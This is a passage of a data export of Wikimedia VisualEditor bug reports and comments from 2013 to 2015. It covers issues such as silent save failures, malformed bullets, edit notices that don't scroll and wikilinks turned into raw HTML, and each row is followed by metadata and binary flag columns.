+**Severity**: normal",Needs Triage,90.0,1375955220,1376086189.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ssrgubmui6ycz46f7lkd,task_description,declined,True,c1,3,False,False,True,5,,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+246295,Parsoid or VisualEditor:  __NOTOC__ sometimes replaced by copy of categories,"Never mind.  I found it here.  https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=prev&oldid=567395325 .. No diffs there.  
+
+Looks like his experiments here are at least 3 weeks old.  https://en.wikipedia.org/w/index.php?title=User:Ruud_Koot/Computer_science/Lambda_calculus&action=history
+
+Lot of things have been fixed in the last couple weeks including instances of wikitext getting duplicated.  But 48231 is not related to this.  I am going to close this ticket for now.  We can open new bugs against specific bad diffs when we encounter them.
+
+Thanks for your diligent work in reporting bugs!",,,1376086189,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ssrgubmui6ycz46f7lkd,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0
+246293,Parsoid or VisualEditor:  __NOTOC__ sometimes replaced by copy of categories,Can you point me to his bug report (was this on the feedback page)?  It would be easier to debug with a diff if you have easy access to one.,,,1376085510,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ssrgubmui6ycz46f7lkd,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0
+54640,VisualEditor: saving fails silently for some large edits,"en.wp user Ruud Koot reports:
+
+""Occasionally, after a medium-sized editing session, the visual editor will silently refuse to save my edits. When clicking the save button the progress bar appears, disappears, and you stay in editing mode, with no new revision appended to the history. Trying again sometimes resolves the problem, sometimes it requires edit operations to be done in a different order or be broken up into smaller increments, saving in-between."" 
+
+He also asks, ""Do you keep any statistics on how often an editor presses the save button versus how many times this actually results in a new revision being saved?""
+
+Bug 51423 might be related.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51243",Needs Triage,90.0,1375954440,1406598295.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-4hux64flsouxqgjibleh,task_description,declined,True,c1,3,False,False,False,5,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0
+246043,VisualEditor: saving fails silently for some large edits,No subsequent reports or steps to fix; marking as WORKSFORME.,,,1406598295,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4hux64flsouxqgjibleh,task_subcomment,,True,c1,3,True,,,56,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+246037,VisualEditor: saving fails silently for some large edits,Sorry that possibly related issue is bug 51243,,,1375954749,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4hux64flsouxqgjibleh,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+54639,VisualEditor: Bulleted bullets and bulleted headers produced; can't save,"en.wp user Ruud Koot reports:
+""When performing structural editing tasks (i.e. things which are slight more complex than changing typos or adding a sentence in the middle of an existing paragraph) it is very easy to get the editor into some weird state where it is impossible to get out of other than aborting the edit session and trying again more carefully. This includes things like introducing ""bulleted headers"" and ""bulleted bullets"", which cannot possibly be represented as wikitext.""
+
+He notes that ""Copying and pasting around text and editing pages with tables [is a] fairly reliable method"" to reproduce it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375953840,1425633241.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-xyg7preywhwlpczuaps6,task_description,declined,True,c1,3,False,False,False,5,,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+422069,VisualEditor: Bulleted bullets and bulleted headers produced; can't save,">>! In T54639#1091705, @Thryduulf wrote:
+> I don't see a need to keep this open any longer, if something similar is reported again a more specific bug can be opened. 
+
+Thank you for the quick reply! Sounds reasonible, closing as declined (as we cannot reproduce anymore).",,,1425633241,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyg7preywhwlpczuaps6,task_subcomment,,True,c1,3,True,,,87,,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1
+421325,VisualEditor: Bulleted bullets and bulleted headers produced; can't save,"I don't recall this error, and I too can't reproduce anything now using Firefox 30.  Given that it's been ~18 months since the report, it's likely this has been fixed by some other update in the meanwhile.
+
+I don't see a need to keep this open any longer, if something similar is reported again a more specific bug can be opened. ",,,1425549798,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xyg7preywhwlpczuaps6,task_subcomment,,True,c1,3,False,,,87,,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+420844,VisualEditor: Bulleted bullets and bulleted headers produced; can't save,"Hi @Thryduulf! Sorry that nobody has taken a look at this report yet and given feedback.
+
+I tried copying bullets around on https://en.wikipedia.org/wiki/User:AKlapper_%28WMF%29/Sandbox?veaction=edit but could not reproduce anything weird in Firefox 36 on Fedora 21.
+
+Are there any specific steps to reproduce these problems, or edits / diffs that could be linked to? Any specific browser involved?
+
+Setting task status to STALLED for the time being; please reset task status once there are clearer steps to reproduce. Thanks!",,,1425487218,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyg7preywhwlpczuaps6,task_subcomment,,True,c1,3,True,,,87,,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0
+54620,VisualEditor: Difficult to get a blank line when the page starts with a bulleted list,"If a page starts with a bulleted list, there's no way to put the cursor ""in front of"" the list styling.  If you want to add a non-list paragraph, you have to make a new, blank first bullet item and then remove the list formatting from the paragraph.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52032",Needs Triage,90.0,1375918560,1420846868.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-TASK-gwksqe4mofbzkamj67mf,task_description,invalid,True,c1,3,False,False,False,5,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+397685,VisualEditor: Difficult to get a blank line when the page starts with a bulleted list,"Seems to be resolved - checked on the page https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575308394. 
+The text is easily added on a new line before the first bullet.",,,1420846571,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-gwksqe4mofbzkamj67mf,task_subcomment,,True,c1,3,True,,,79,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244952,VisualEditor: Difficult to get a blank line when the page starts with a bulleted list,"Sorry, that last line should reference bug 52032.",,,1380645177,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-gwksqe4mofbzkamj67mf,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+244948,VisualEditor: Difficult to get a blank line when the page starts with a bulleted list,"To reproduce:
+1: Load a page in VE that starts with a bulleted list e.g. https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575308394
+2: Try to add text before the first bullet.
+
+It is possible that fix for bug 52302 might also resolve this issue.",,,1380645144,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-gwksqe4mofbzkamj67mf,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+54602,VisualEditor: Edit notices don't scroll,"Today's Featured Article edit notice displayed in Firefox 22/Linux/Monobook on a 481px high window
+
+Edit notices should scroll when they are larger than the height of the window. Presently the bottom of the message is unreadable. The screenshot attached shows en.wp's ""Today's featured article"" edit notice displayed in a 581px high window (which is what I normally use for browsing).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51755
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52667
+
+**Attached**: {F11480}",Needs Triage,90.0,1375860960,1377446690.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-i6f5p5xjfmxdo6ubzpmu,task_description,resolved,True,c1,3,False,False,True,5,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0
+243723,VisualEditor: Edit notices don't scroll,"
+
+*** This bug has been marked as a duplicate of bug 50885 ***",,,1377446690,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-i6f5p5xjfmxdo6ubzpmu,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243717,VisualEditor: Edit notices don't scroll,"A couple of users have reported this also happening with ""the notice specifically for VE"", which I presume is the beta welcome dialog. They are unable to scroll through and read it all.",,,1375951466,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-i6f5p5xjfmxdo6ubzpmu,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+54595,"Wikimedia editors aren't automatically enrolled in Bugzilla, reducing VE bug reporting","**Author:** `gnu`
+
+**Description:**
+The unusually buggy deployment of the VisualEditor has caused large numbers of English Wikipedia editors to have bugs to report.  But the process of reporting bugs is a cumbersome many-step process -- starting with a requirement to ""log in"" using a credential that most editors do not have.
+
+The rest of the Wikipedia universe uses a universal login system in which you log in with the same username and password to everything, and it all works together.  Somehow Bugzilla didn't get integrated with that.
+
+So instead anyone with a bug report for Visual Editor -- assuming they can even find Bugzilla, perhaps from a comment in an RFC about disabling the Visual Editor, as I found it -- then has to get through the ""New User"" process, which includes providing an email address, checking mail at that address, and accessing a URL which then demands that a new password be created and remembered.
+This step should be avoided for logged-in Wikipedia users.
+
+I'm sure that many, many Visual Editor bugs are noticed by editors, but are never reported due to the pain of the reporting process.  This shortage of bug reports may serve the political purposes of the WMF in attempting to ram the new editor down the throats of the community, but it is not a good management practice, nor will it result in eliminating the bugs that make the Visual Editor too troublesome for naive use at this point.
+
+(The remaining process of bug reporting is also cumbersome and complex -- but 
+in this bug report I have no suggestions on how to fix that.)
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1375844100,1375847060.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ud6rksuxulevqjsfqs6h,task_description,resolved,True,c1,3,False,False,True,5,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+243378,"Wikimedia editors aren't automatically enrolled in Bugzilla, reducing VE bug reporting","(In reply to comment #0)
+> The rest of the Wikipedia universe uses a universal login system in which you
+> log in with the same username and password to everything, and it all works
+> together.  Somehow Bugzilla didn't get integrated with that.
+
+That's bug 14487. If you don't want to create a Bugzilla account you can report issues at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback .
+
+*** This bug has been marked as a duplicate of bug 14487 ***",,,1375847060,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ud6rksuxulevqjsfqs6h,task_subcomment,,True,c1,3,True,,,5,,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+54586,"VisualEditor: Label for beta notice/menu should use mixed case not all caps (""Beta"" not ""BETA"")","From en.wp user Cryptic C62:
+The beta button on the toolbar ""should not be labelled ""Beta"", not ""BETA"". The latter looks like it might be a mysterious acronym. ""
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1375820700,1393528505.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rvrst7lvd6twcpeipdkt,task_description,invalid,True,c1,3,False,False,False,5,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+242799,"VisualEditor: Label for beta notice/menu should use mixed case not all caps (""Beta"" not ""BETA"")","This label no longer exists, but instead is just the help ""(?)"" icon.",,,1393528505,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rvrst7lvd6twcpeipdkt,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0
+242792,"VisualEditor: Label for beta notice/menu should use mixed case not all caps (""Beta"" not ""BETA"")","(In reply to comment #1)
+> Can I work on this bug? I know it has been assigned to someone but looks like
+> nothing has happened here for sometime.
+
+It looks like that's the default assignee for bugs in this component. In general it should be fine to do these.",,,1390957191,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rvrst7lvd6twcpeipdkt,task_subcomment,,True,c1,3,True,,,30,,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+242787,"VisualEditor: Label for beta notice/menu should use mixed case not all caps (""Beta"" not ""BETA"")","**aravikn** wrote:
+
+Can I work on this bug? I know it has been assigned to someone but looks like nothing has happened here for sometime.",,,1390221344,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rvrst7lvd6twcpeipdkt,task_subcomment,,True,c1,3,False,,,29,,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+54579,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"Where articles use the {{ref}} and  {{note}} pair of templates to generate footnotes, e.g. [[List of highest points of Canadian provinces and territories]], it is impossible to edit the contents of the notes in VisualEditor.
+
+The {{ref}} template is editable in the transclusion editor, and works as expected.
+
+The {{note}}-generated notes are apparently one block. No transclusion icon or indication of uneditablility (green stripes) appears on mouseover or when the block is clicked. 
+
+If a link in the notes is clicked it functions as a link would in read mode- ie. the link is followed and you leave the page. VE gives no warning about unsaved edits (although Firefox does).
+
+If the backlink to the location of the {{ref}} template is clicked it functions as above - i.e. it loads the page in read mode at the position of the note, exactly as if you had followed a link to that anchor from any other page on the internet.
+
+It is possible to select the block when selecting content before and after the block, although no indication is given that it has been selected. Once selected it is possible to apply bold/italic formatting to the block and other selected text using the B/I buttons, but it is not then possible to remove it using these buttons while the note block is selected. It is possible to remove bold/italic using the clear format button. The clear format button does not remove any links in the notes block, but does remove links from any other text selected at the same time.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1375800120,1393541169.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_description,declined,True,c1,3,False,False,False,5,,1,0,0,1,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+242359,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"Cite.php is designed a certain (bad) way. It has issues, and we will replace it at some point, but the way to fix its issues is not to make horrible hacks in wikitext using loopholes over-looked when the code was written to try to re-design in.
+
+This is one of those cases, and is not sanely supportable in VisualEditor, so I'm going to mark this as WONTFIX.",,,1393541169,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_subcomment,,True,c1,3,True,,,34,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+242352,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"cklim: Not sure what your random HTML and image posted here has to do ""VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system"".
+Please file a separate ticket as this seems unrelated to this bug report.",,,1393068100,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_subcomment,,True,c1,3,True,,,33,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+242346,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"**cklim074** wrote:
+
+<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.css"" rel=""stylesheet""><link href=""chrome://global/skin/media/TopLevelImageDocument.css"" rel=""stylesheet""><title>attachment.cgi (PNG Image, 1247&nbsp;×&nbsp;669 pixels)</title></head><body><img class=""decoded overflowing"" alt=""http://bug-attachment.wikimedia.org/attachment.cgi?id=14163"" src=""http://bug-attachment.wikimedia.org/attachment.cgi?id=14163""></body>",,,1393041491,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1
+242339,VisualEditor: Cannot edit notes that use {{ref}} and {{note}} system.,"**cklim074** wrote:
+
+<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.
+
+<head><meta content=""width=device-width; height=device-height;"" name=""viewport""><link href=""resource://gre/res/ImageDocument.css"" rel=""stylesheet""><link href=""resource://gre/res/TopLevelImageDocument.css"" rel=""stylesheet""><link href=""chrome://global/skin/media/TopLevelImageDocument.css"" rel=""stylesheet""><title>attachment.cgi (PNG Image, 1247&nbsp;×&nbsp;669 pixels)</title></head><body><img class=""decoded overflowing"" alt=""http://bug-attachment.wikimedia.org/attachment.cgi?id=14163"" src=""http://bug-attachment.wikimedia.org/attachment.cgi?id=14163""></body>
+
+**Attached**: {F11426}",,,1393041446,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sjjvxqyu5lvsgdnholi7,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+54563,VisualEditor: Don't wait indefinitely for gadget servers that are not responding,"When a user has installed a gadget that relies on data from an external server, VisualEditor appears to wait indefinitely for that server to respond. Normally this is OK, but when that server is down VE will apparently wait forever (or at least longer than the 5 minutes I was prepared to wait) for a response.
+
+The source editor appears to give up after a wile (2 minutes?), and loads as if the gadget was not called. VE should exhibit this behaviour too.
+
+Tested with the HAPPI gadget ([[User:EpochFail/HAPPI]]). As of 21:52 UTC 05 August 2013 that gadget depends on a server at wikipedia.grouplens.org that is not responding
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375739580,1390419026.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-brb5wektguex52kczga7,task_description,invalid,True,c1,3,False,False,False,5,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+241401,VisualEditor: Don't wait indefinitely for gadget servers that are not responding,"Surely this is the responsibility of the gadget's author?
+
+Also, not sure if the wikitext editor executes poorly-responding gadgets, or it's just apparent happenstance. Either way, 120 seconds is about an order of magnitude too high.
+
+Sorry for very slow triage.",,,1390419026,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brb5wektguex52kczga7,task_subcomment,,True,c1,3,True,,,29,,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+54544,VisualEditor or Parsoid: inserted HTML code instead of Wikilink,"At line 42 of https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&diff=567254040&oldid=566841354 attempting replace what appeared to be an empty image caption with ""The [[Sun]]"" (using ctrl+k for the link, no wikicode) resulted in the insertion instead of:
+The <a style=""white-space:nowrap"" data-mw=""{&quot;target&quot;:{&quot;wt&quot;:&quot;val&quot;,&quot;href&quot;:&quot;../Template:Val&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;4.6&quot;},&quot;ul&quot;:{&quot;wt&quot;:&quot;byr&quot;}},&quot;i&quot;:0}"" rel=""mw:WikiLink"" href=""Sun"">Sun</a>
+
+The images were left over from testing for Bug 52341 and so that bug may be related.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375709160,1401418799.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-4xuz3vb5yze6xii6usyj,task_description,declined,True,c1,3,False,False,False,5,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
